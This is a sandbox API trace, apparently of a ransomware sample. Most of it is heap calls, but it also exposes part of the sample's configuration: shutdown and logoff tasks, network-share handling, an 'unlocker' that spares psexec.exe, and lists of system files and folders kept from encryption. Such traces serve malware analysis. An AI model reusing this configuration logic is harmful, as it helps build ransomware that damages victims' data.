	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xb4) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75558
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xb8) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75378
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xbc) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75598
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xc0) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d753b8
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xc4) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d753d8
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xc8) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75578
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xcc) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75498
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xd0) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d753f8
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xd4) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75418
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xd8) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d755b8
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xdc) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d755d8
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xe0) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d759b8
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xe4) returned 0x2d638f8
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75818
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xe8) returned 0x2d638f8
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75838
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xec) returned 0x2d638f8
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75778
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xf0) returned 0x2d638f8
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75a98
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xf4) returned 0x2d540f0
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75b18
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d540f0, Size=0xf8) returned 0x2d540f0
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75ab8
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d540f0, Size=0xfc) returned 0x2d540f0
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d757d8
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d540f0, Size=0x100) returned 0x2d540f0
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75798
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d540f0, Size=0x104) returned 0x2d540f0
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75ad8
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d540f0, Size=0x108) returned 0x2d540f0
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75958
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75280, Size=0xc) returned 0x2d64240
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75af8
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d686d0
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d758b8
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d686d0, Size=0x8) returned 0x2d75140
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d757b8
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75140, Size=0xc) returned 0x2d640d8
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75878
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d640d8, Size=0x10) returned 0x2d64198
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d757f8
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64198, Size=0x14) returned 0x2d75898
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75858
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75898, Size=0x18) returned 0x2d758d8
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75898
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d758d8, Size=0x1c) returned 0x2d6e1b0
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d758d8
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6e1b0, Size=0x20) returned 0x2d6e1d8
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d758f8
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6e1d8, Size=0x24) returned 0x2d64b60
	[0059.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75918
	[0059.499] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64b60, Size=0x28) returned 0x2d64bf0
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75938
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64bf0, Size=0x2c) returned 0x2d5bcb8
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75a58
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5bcb8, Size=0x30) returned 0x2d5bd60
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75978
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5bd60, Size=0x34) returned 0x2d715c0
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75998
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d715c0, Size=0x38) returned 0x2d71500
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d759d8
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d71500, Size=0x3c) returned 0x2d72fe8
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d759f8
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d72fe8, Size=0x40) returned 0x2d73588
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75a18
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d73588, Size=0x44) returned 0x2d64358
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75a38
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64358, Size=0x48) returned 0x2d64858
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75a78
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64858, Size=0x4c) returned 0x2d5c268
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75048
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x50) returned 0x2d5c268
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75308
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x54) returned 0x2d5c268
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75108
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x58) returned 0x2d5c268
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75188
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x5c) returned 0x2d5c268
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75068
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x60) returned 0x2d5c268
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d752e8
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x64) returned 0x2d5c268
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75328
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x68) returned 0x2d5c268
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75088
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x6c) returned 0x2d5c268
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75268
	[0059.500] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x70) returned 0x2d5c268
	[0059.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d750a8
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x74) returned 0x2d57bc0
	[0059.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d750c8
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d57bc0, Size=0x78) returned 0x2d57bc0
	[0059.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d750e8
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d57bc0, Size=0x7c) returned 0x2d5a0c0
	[0059.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75128
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5a0c0, Size=0x80) returned 0x2d5a0c0
	[0059.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d751a8
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5a0c0, Size=0x84) returned 0x2d62fc8
	[0059.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d751c8
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d62fc8, Size=0x88) returned 0x2d62fc8
	[0059.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74f68
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d62fc8, Size=0x8c) returned 0x2d635c8
	[0059.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75248
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d635c8, Size=0x90) returned 0x2d635c8
	[0059.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d751e8
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64240, Size=0x10) returned 0x2d64078
	[0059.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75168
	[0059.501] strtol (in: _Str="30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x272f940, _Radix=0 | out: _EndPtr=0x272f940*=",\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 30
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64078, Size=0x14) returned 0x2d74f88
	[0059.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75288
	[0059.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d686d0
	[0059.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75228
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d686d0, Size=0x8) returned 0x2d75ed0
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75ed0, Size=0xc) returned 0x2d64210
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64210, Size=0x10) returned 0x2d63fb8
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d63fb8, Size=0x14) returned 0x2d752a8
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5bc80, Size=0x34) returned 0x2d71080
	[0059.501] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d686d0, Size=0x8) returned 0x2d75c90
	[0059.502] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75c10, Size=0x8) returned 0x2d75cb0
	[0059.511] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75cb0, Size=0xc) returned 0x2d64210
	[0059.511] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75c50, Size=0x8) returned 0x2d75c10
	[0059.512] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d71080, Size=0x38) returned 0x2d714c0
	[0059.512] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75be0, Size=0x8) returned 0x2d75bc0
	[0059.512] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75d50, Size=0x8) returned 0x2d75bd0
	[0059.512] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75ce0, Size=0x8) returned 0x2d75b80
	[0059.512] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75b80, Size=0xc) returned 0x2d64240
	[0059.512] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75bd0, Size=0xc) returned 0x2d63fb8
	[0059.512] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75ba0, Size=0x8) returned 0x2d75bd0
	[0059.512] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d686c0) returned 1
	[0059.512] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6a850) returned 1
	[0059.516] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ntuser.dat*" | out: DestinationString="ntuser.dat*") 
	[0059.516] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ntuser.dat*", AllocateDestinationString=1 | out: DestinationString="ntuser.dat*") returned 0x0
	[0059.516] RtlFreeAnsiString (AnsiString="n") 
	[0059.516] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="iconcache.db" | out: DestinationString="iconcache.db") 
	[0059.516] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="iconcache.db", AllocateDestinationString=1 | out: DestinationString="iconcache.db") returned 0x0
	[0059.516] RtlFreeAnsiString (AnsiString="i") 
	[0059.516] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="gdipfont*.dat" | out: DestinationString="gdipfont*.dat") 
	[0059.516] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="gdipfont*.dat", AllocateDestinationString=1 | out: DestinationString="gdipfont*.dat") returned 0x0
	[0059.516] RtlFreeAnsiString (AnsiString="g") 
	[0059.516] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ntuser.ini" | out: DestinationString="ntuser.ini") 
	[0059.516] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ntuser.ini", AllocateDestinationString=1 | out: DestinationString="ntuser.ini") returned 0x0
	[0059.516] RtlFreeAnsiString (AnsiString="n") 
	[0059.516] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="usrclass.dat" | out: DestinationString="usrclass.dat") 
	[0059.516] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="usrclass.dat", AllocateDestinationString=1 | out: DestinationString="usrclass.dat") returned 0x0
	[0059.517] RtlFreeAnsiString (AnsiString="u") 
	[0059.517] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="usrclass.dat*" | out: DestinationString="usrclass.dat*") 
	[0059.517] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="usrclass.dat*", AllocateDestinationString=1 | out: DestinationString="usrclass.dat*") returned 0x0
	[0059.517] RtlFreeAnsiString (AnsiString="u") 
	[0059.517] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="boot.ini" | out: DestinationString="boot.ini") 
	[0059.517] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="boot.ini", AllocateDestinationString=1 | out: DestinationString="boot.ini") returned 0x0
	[0059.517] RtlFreeAnsiString (AnsiString="b") 
	[0059.517] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="bootmgr" | out: DestinationString="bootmgr") 
	[0059.517] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="bootmgr", AllocateDestinationString=1 | out: DestinationString="bootmgr") returned 0x0
	[0059.517] RtlFreeAnsiString (AnsiString="b") 
	[0059.517] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="bootnxt" | out: DestinationString="bootnxt") 
	[0059.517] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="bootnxt", AllocateDestinationString=1 | out: DestinationString="bootnxt") returned 0x0
	[0059.517] RtlFreeAnsiString (AnsiString="b") 
	[0059.517] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="desktop.ini" | out: DestinationString="desktop.ini") 
	[0059.517] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="desktop.ini", AllocateDestinationString=1 | out: DestinationString="desktop.ini") returned 0x0
	[0059.517] RtlFreeAnsiString (AnsiString="d") 
	[0059.517] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ntuser.dat" | out: DestinationString="ntuser.dat") 
	[0059.517] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ntuser.dat", AllocateDestinationString=1 | out: DestinationString="ntuser.dat") returned 0x0
	[0059.517] RtlFreeAnsiString (AnsiString="n") 
	[0059.517] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="autorun.inf" | out: DestinationString="autorun.inf") 
	[0059.517] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="autorun.inf", AllocateDestinationString=1 | out: DestinationString="autorun.inf") returned 0x0
	[0059.517] RtlFreeAnsiString (AnsiString="a") 
	[0059.517] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ntldr" | out: DestinationString="ntldr") 
	[0059.517] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ntldr", AllocateDestinationString=1 | out: DestinationString="ntldr") returned 0x0
	[0059.517] RtlFreeAnsiString (AnsiString="n") 
	[0059.517] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="thumbs.db" | out: DestinationString="thumbs.db") 
	[0059.518] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="thumbs.db", AllocateDestinationString=1 | out: DestinationString="thumbs.db") returned 0x0
	[0059.518] RtlFreeAnsiString (AnsiString="t") 
	[0059.518] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="bootsect.bak" | out: DestinationString="bootsect.bak") 
	[0059.518] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="bootsect.bak", AllocateDestinationString=1 | out: DestinationString="bootsect.bak") returned 0x0
	[0059.518] RtlFreeAnsiString (AnsiString="b") 
	[0059.518] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="bootfont.bin" | out: DestinationString="bootfont.bin") 
	[0059.518] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="bootfont.bin", AllocateDestinationString=1 | out: DestinationString="bootfont.bin") returned 0x0
	[0059.518] RtlFreeAnsiString (AnsiString="b") 
	[0059.518] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*system volume information" | out: DestinationString="*system volume information") 
	[0059.518] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*system volume information", AllocateDestinationString=1 | out: DestinationString="*system volume information") returned 0x0
	[0059.518] RtlFreeAnsiString (AnsiString="*") 
	[0059.518] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*windows.old" | out: DestinationString="*windows.old") 
	[0059.518] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*windows.old", AllocateDestinationString=1 | out: DestinationString="*windows.old") returned 0x0
	[0059.518] RtlFreeAnsiString (AnsiString="*") 
	[0059.518] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*:\\users\\*\\*temp" | out: DestinationString="*:\\users\\*\\*temp") 
	[0059.518] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*:\\users\\*\\*temp", AllocateDestinationString=1 | out: DestinationString="*:\\users\\*\\*temp") returned 0x0
	[0059.518] RtlFreeAnsiString (AnsiString="*") 
	[0059.518] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*msocache" | out: DestinationString="*msocache") 
	[0059.518] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*msocache", AllocateDestinationString=1 | out: DestinationString="*msocache") returned 0x0
	[0059.518] RtlFreeAnsiString (AnsiString="*") 
	[0059.518] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*:\\winnt" | out: DestinationString="*:\\winnt") 
	[0059.518] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*:\\winnt", AllocateDestinationString=1 | out: DestinationString="*:\\winnt") returned 0x0
	[0059.518] RtlFreeAnsiString (AnsiString="*") 
	[0059.518] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*$windows.~ws" | out: DestinationString="*$windows.~ws") 
	[0059.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*$windows.~ws", AllocateDestinationString=1 | out: DestinationString="*$windows.~ws") returned 0x0
	[0059.519] RtlFreeAnsiString (AnsiString="*") 
	[0059.519] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*perflogs" | out: DestinationString="*perflogs") 
	[0059.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*perflogs", AllocateDestinationString=1 | out: DestinationString="*perflogs") returned 0x0
	[0059.519] RtlFreeAnsiString (AnsiString="*") 
	[0059.519] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*boot" | out: DestinationString="*boot") 
	[0059.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*boot", AllocateDestinationString=1 | out: DestinationString="*boot") returned 0x0
	[0059.519] RtlFreeAnsiString (AnsiString="*") 
	[0059.519] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*:\\windows" | out: DestinationString="*:\\windows") 
	[0059.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*:\\windows", AllocateDestinationString=1 | out: DestinationString="*:\\windows") returned 0x0
	[0059.519] RtlFreeAnsiString (AnsiString="*") 
	[0059.519] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*:\\program file*\\vmware" | out: DestinationString="*:\\program file*\\vmware") 
	[0059.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*:\\program file*\\vmware", AllocateDestinationString=1 | out: DestinationString="*:\\program file*\\vmware") returned 0x0
	[0059.519] RtlFreeAnsiString (AnsiString="*") 
	[0059.519] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="\\\\*\\users\\*\\*temp" | out: DestinationString="\\\\*\\users\\*\\*temp") 
	[0059.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="\\\\*\\users\\*\\*temp", AllocateDestinationString=1 | out: DestinationString="\\\\*\\users\\*\\*temp") returned 0x0
	[0059.519] RtlFreeAnsiString (AnsiString="\\") 
	[0059.519] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="\\\\*\\winnt" | out: DestinationString="\\\\*\\winnt") 
	[0059.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="\\\\*\\winnt", AllocateDestinationString=1 | out: DestinationString="\\\\*\\winnt") returned 0x0
	[0059.519] RtlFreeAnsiString (AnsiString="\\") 
	[0059.519] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="\\\\*\\windows" | out: DestinationString="\\\\*\\windows") 
	[0059.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="\\\\*\\windows", AllocateDestinationString=1 | out: DestinationString="\\\\*\\windows") returned 0x0
	[0059.519] RtlFreeAnsiString (AnsiString="\\") 
	[0059.519] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\program file*\\vmware" | out: DestinationString="*\\program file*\\vmware") 
